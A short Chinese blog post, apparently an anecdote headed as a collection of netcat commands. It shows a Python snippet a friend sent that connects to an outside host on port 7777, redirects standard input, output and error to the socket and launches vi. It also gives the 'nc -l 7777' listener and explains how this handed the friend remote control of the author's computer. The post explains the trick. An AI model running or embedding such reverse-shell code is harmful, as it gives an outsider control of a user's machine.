Netcat

nc命令收集

楔子

和昌神[akxxsb]聊天,聊了一下近况(基金炒股,找工作近况,之前被骗之事)后,进入主线。昌神丢过来一串代码让我运行试试。

import socket,subprocess,os;
from functools import partial

def main(host='www.akxxsb.top', port=7777):
    #host = socket.gethostbyname(host)
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect((host, port));
    f = partial(os.dup2, s.fileno())
    rv = list(map(f, range(3)))

    pid = os.fork()
    if pid == 0:
        p = subprocess.call(["vi"]);

if __name__ == '__main__':
    main()

然后昌神就远程操纵了我的电脑。

原因:

昌神那边运行了命令nc -l 7777 后,等待我的代码运行。

我连上后,重定向了标准输入、标准输出、错误输出到网络套接字。之后开启子进程里的vim。

vim显示的框(标准输出)重定向到网络套接字,最后被昌神接收,显示在了昌神那边的电脑上;

昌神那边敲键盘(标准输入),传递到网络套接字,被我的电脑接收,显示出来(标准输出),结果又被重定向,最后还是被昌神接收,显示在他那边的电脑上。

于是,就被远程了。

原文地址:https://www.cnblogs.com/dirge/p/9888715.html